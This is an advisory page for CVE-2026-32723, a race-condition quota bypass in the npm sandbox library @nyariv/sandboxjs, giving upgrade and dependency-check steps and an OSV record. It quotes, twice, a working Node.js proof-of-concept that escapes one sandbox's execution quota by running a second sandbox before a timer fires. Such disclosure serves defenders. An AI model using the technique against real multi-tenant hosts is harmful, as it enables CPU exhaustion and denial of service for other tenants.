CVE-2026-32723: @nyariv/sandboxjs SandboxJS Has An Execution-quota Bypass Vulnerability

MODERATE
Advisory Identifier: GHSA-7p5m-xrh7-769r
CWE-362
Published
Advisory Summary

CVE-2026-32723 is a MODERATE sandboxjs has an execution-quota bypass vulnerability (CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')) affecting @nyariv/sandboxjs libraries in the npm ecosystem. The issue involves sandboxjs has an execution-quota bypass (cross-sandbox currentticks race) in sandboxjs timers. Remediation is available by upgrading affected packages to version 0.8.35.

CVE-2026-32723 at a Glance

CVE Identifier CVE-2026-32723
GHSA Identifier GHSA-7p5m-xrh7-769r
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Affected Product @nyariv/sandboxjs
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-32723

To remediate this vulnerability, upgrade all affected @nyariv/sandboxjs dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@nyariv/sandboxjs fixed: 0.8.35
npm install @nyariv/sandboxjs@0.8.35
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @nyariv/sandboxjs

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-32723, inspect your project dependencies using npm:

npm ls @nyariv/sandboxjs

Analyze the terminal output to locate any version of @nyariv/sandboxjs in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.8.35), your application is affected.

Note: The npm ls @nyariv/sandboxjs command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'), where the product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently. In @nyariv/sandboxjs, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Assumed repo path is `/Users/zwique/Downloads/SandboxJS-0.8.34` (no `/Users/zwique/Downloads/SandboxJS` found). A global tick state (`currentTicks.current`) is shared between sandboxes. Timer string handlers are compiled at execution time using that global tick state rather than the scheduling sandbox's tick object. In multi-tenant / concurrent sandbox scenarios, another sandbox can overwrite `currentTicks.current` between scheduling and execution, causing the timer callback to run under a different sandbox's tick budget and bypass the original sandbox's execution quota/watchdog. **Impact:** execution quota bypass → CPU/resource abuse --- ## Details - **Affected project:** SandboxJS (owner: nyariv) - **Assumed checked-out version:** `SandboxJS-0.8.34` at `/Users/zwique/Downloads/SandboxJS-0.8.34` ### Vulnerable code paths - **`/src/eval.ts`** — `sandboxFunction` binds `ticks` using `ticks || currentTicks.current`: ``` createFunction(..., ticks || currentTicks.current, { ...context, ... }) ``` Relevant lines: 44, 53, 164, 167. - **`/src/evaluator.ts` / `/src/executor.ts`** — global ticks: ``` export const currentTicks = { current: { ticks: BigInt(0) } as Ticks }; ``` and ``` _execNoneRecurse(...) { currentTicks.current = ticks; ... } ``` Relevant lines: ~1700, 1712. - **`sandboxedSetTimeout`** compiles string handlers at execution time, not at scheduling time, which lets `currentTicks.current` be the wrong sandbox's ticks when compilation occurs. --- ## Why This Is Vulnerable - `currentTicks.current` is global mutable state shared across all sandbox instances. - Timer string handlers are compiled at the moment the timer fires and read `currentTicks.current` at that time. If another sandbox runs between scheduling and execution, it can replace `currentTicks.current`. The scheduled timer's code will be compiled/executed with the other sandbox's tick budget. This allows the original sandbox's execution quota to be bypassed. --- ## Proof of Concept > Run with Node.js; adjust path if needed. ```js // PoC (run with node); adjust path if needed import Sandbox from '/Users/zwique/Downloads/SandboxJS-0.8.34/node_modules/@nyariv/sandboxjs/build/Sandbox.js'; const globals = { ...Sandbox.SAFE_GLOBALS, setTimeout, clearTimeout }; const prototypeWhitelist = Sandbox.SAFE_PROTOTYPES; const sandboxA = new Sandbox({ globals, prototypeWhitelist, executionQuota: 50n, haltOnSandboxError: true, }); let haltedA = false; sandboxA.subscribeHalt(() => { haltedA = true; }); const sandboxB = new Sandbox({ globals, prototypeWhitelist }); // Sandbox A schedules a heavy string handler sandboxA.compile( 'setTimeout("let x=0; for (let i=0;i<200;i++){ x += i } globalThis.doneA = true;", 0);' )().run(); // Run sandbox B before A's timer fires sandboxB.compile('1+1')().run(); setTimeout(() => { console.log({ haltedA, doneA: sandboxA.context.sandboxGlobal.doneA }); }, 50); ``` ### Reproduction Steps 1. Place the PoC in `hi.js` and run: ``` node /Users/zwique/Downloads/SandboxJS-0.8.34/hi.js ``` 2. Observe output similar to: ``` { haltedA: false, doneA: true } ``` This indicates the heavy loop completed and the quota was bypassed. 3. Remove the `sandboxB.compile('1+1')().run();` line and rerun. Output should now be: ``` { haltedA: true } ``` This indicates quota enforcement is working correctly. --- ## Impact - **Type:** Runtime guard bypass (execution-quota / watchdog bypass) - **Who is impacted:** Applications that run multiple SandboxJS instances concurrently in the same process — multi-tenant interpreters, plugin engines, server-side scripting hosts, online code runners. - **Practical impact:** Attackers controlling sandboxed code can bypass configured execution quotas/watchdog and perform CPU-intensive loops or long-running computation, enabling resource exhaustion/DoS or denial of service against the host process or other tenants. - **Does not (as tested) lead to:** Host object exposure or direct sandbox escape (no `process` / `require` leakage observed from this primitive alone). Escalation to RCE was attempted and not observed.

CVE-2026-32723 Affected @nyariv/sandboxjs Versions

1 component(s)
Fixed Versions:
0.8.35
Product / Package Ecosystem Affected Versions Fixed Version
@nyariv/sandboxjs
npm
< 0.8.35
0.8.35

References

Frequently Asked Questions

What is CVE-2026-32723?
CVE-2026-32723 is a security vulnerability in @nyariv/sandboxjs involving SandboxJS has an execution-quota bypass (cross-sandbox currentTicks race) in SandboxJS timers under CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition').
Which @nyariv/sandboxjs versions are affected?
Affected versions include releases prior to 0.8.35 across affected packages: @nyariv/sandboxjs.
What version fixes CVE-2026-32723?
Upgrading to 0.8.35 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @nyariv/sandboxjs affected?
Yes, @nyariv/sandboxjs is affected in releases prior to 0.8.35. Upgrade your dependency to 0.8.35 or later.
What CWE is associated with CVE-2026-32723?
CVE-2026-32723 is classified under CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.).
How can I check npm dependencies for CVE-2026-32723?
Run the dependency tree command: 'npm ls @nyariv/sandboxjs'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7p5m-xrh7-769r",
  "modified" : "2026-03-19T21:11:10Z",
  "published" : "2026-03-16T16:43:05Z",
  "aliases" : [ "CVE-2026-32723" ],
  "summary" : "SandboxJS has an execution-quota bypass (cross-sandbox currentTicks race) in SandboxJS timers",
  "details" : "## Summary\n\nAssumed repo path is `/Users/zwique/Downloads/SandboxJS-0.8.34` (no `/Users/zwique/Downloads/SandboxJS` found). A global tick state (`currentTicks.current`) is shared between sandboxes. Timer string handlers are compiled at execution time using that global tick state rather than the scheduling sandbox's tick object. In multi-tenant / concurrent sandbox scenarios, another sandbox can overwrite `currentTicks.current` between scheduling and execution, causing the timer callback to run under a different sandbox's tick budget and bypass the original sandbox's execution quota/watchdog.\n\n**Impact:** execution quota bypass → CPU/resource abuse  \n\n---\n\n## Details\n\n- **Affected project:** SandboxJS (owner: nyariv)\n- **Assumed checked-out version:** `SandboxJS-0.8.34` at `/Users/zwique/Downloads/SandboxJS-0.8.34`\n\n### Vulnerable code paths\n\n- **`/src/eval.ts`** — `sandboxFunction` binds `ticks` using `ticks || currentTicks.current`:\n  ```\n  createFunction(..., ticks || currentTicks.current, { ...context, ... })\n  ```\n  Relevant lines: 44, 53, 164, 167.\n\n- **`/src/evaluator.ts` / `/src/executor.ts`** — global ticks:\n  ```\n  export const currentTicks = { current: { ticks: BigInt(0) } as Ticks };\n  ```\n  and\n  ```\n  _execNoneRecurse(...) { currentTicks.current = ticks; ... }\n  ```\n  Relevant lines: ~1700, 1712.\n\n- **`sandboxedSetTimeout`** compiles string handlers at execution time, not at scheduling time, which lets `currentTicks.current` be the wrong sandbox's ticks when compilation occurs.\n\n---\n\n## Why This Is Vulnerable\n\n- `currentTicks.current` is global mutable state shared across all sandbox instances.\n- Timer string handlers are compiled at the moment the timer fires and read `currentTicks.current` at that time. If another sandbox runs between scheduling and execution, it can replace `currentTicks.current`. The scheduled timer's code will be compiled/executed with the other sandbox's tick budget. This allows the original sandbox's execution quota to be bypassed.\n\n---\n\n## Proof of Concept\n\n> Run with Node.js; adjust path if needed.\n\n```js\n// PoC (run with node); adjust path if needed\nimport Sandbox from '/Users/zwique/Downloads/SandboxJS-0.8.34/node_modules/@nyariv/sandboxjs/build/Sandbox.js';\n\nconst globals = { ...Sandbox.SAFE_GLOBALS, setTimeout, clearTimeout };\nconst prototypeWhitelist = Sandbox.SAFE_PROTOTYPES;\n\nconst sandboxA = new Sandbox({\n  globals,\n  prototypeWhitelist,\n  executionQuota: 50n,\n  haltOnSandboxError: true,\n});\nlet haltedA = false;\nsandboxA.subscribeHalt(() => { haltedA = true; });\n\nconst sandboxB = new Sandbox({ globals, prototypeWhitelist });\n\n// Sandbox A schedules a heavy string handler\nsandboxA.compile(\n  'setTimeout(\"let x=0; for (let i=0;i<200;i++){ x += i } globalThis.doneA = true;\", 0);'\n)().run();\n\n// Run sandbox B before A's timer fires\nsandboxB.compile('1+1')().run();\n\nsetTimeout(() => {\n  console.log({ haltedA, doneA: sandboxA.context.sandboxGlobal.doneA });\n}, 50);\n```\n\n### Reproduction Steps\n\n1. Place the PoC in `hi.js` and run:\n   ```\n   node /Users/zwique/Downloads/SandboxJS-0.8.34/hi.js\n   ```\n\n2. Observe output similar to:\n   ```\n   { haltedA: false, doneA: true }\n   ```\n   This indicates the heavy loop completed and the quota was bypassed.\n\n3. Remove the `sandboxB.compile('1+1')().run();` line and rerun. Output should now be:\n   ```\n   { haltedA: true }\n   ```\n   This indicates quota enforcement is working correctly.\n\n---\n\n## Impact\n\n- **Type:** Runtime guard bypass (execution-quota / watchdog bypass)\n- **Who is impacted:** Applications that run multiple SandboxJS instances concurrently in the same process — multi-tenant interpreters, plugin engines, server-side scripting hosts, online code runners.\n- **Practical impact:** Attackers controlling sandboxed code can bypass configured execution quotas/watchdog and perform CPU-intensive loops or long-running computation, enabling resource exhaustion/DoS or denial of service against the host process or other tenants.\n- **Does not (as tested) lead to:** Host object exposure or direct sandbox escape (no `process` / `require` leakage observed from this primitive alone). Escalation to RCE was attempted and not observed.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@nyariv/sandboxjs"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.8.35"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.8.34"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-7p5m-xrh7-769r"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-32723"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nyariv/SandboxJS/commit/cc8f20b4928afed5478d5ad3d1737ef2dcfaac29"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nyariv/SandboxJS"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-362" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-16T16:43:05Z",
    "nvd_published_at" : "2026-03-18T22:16:24Z"
  }
}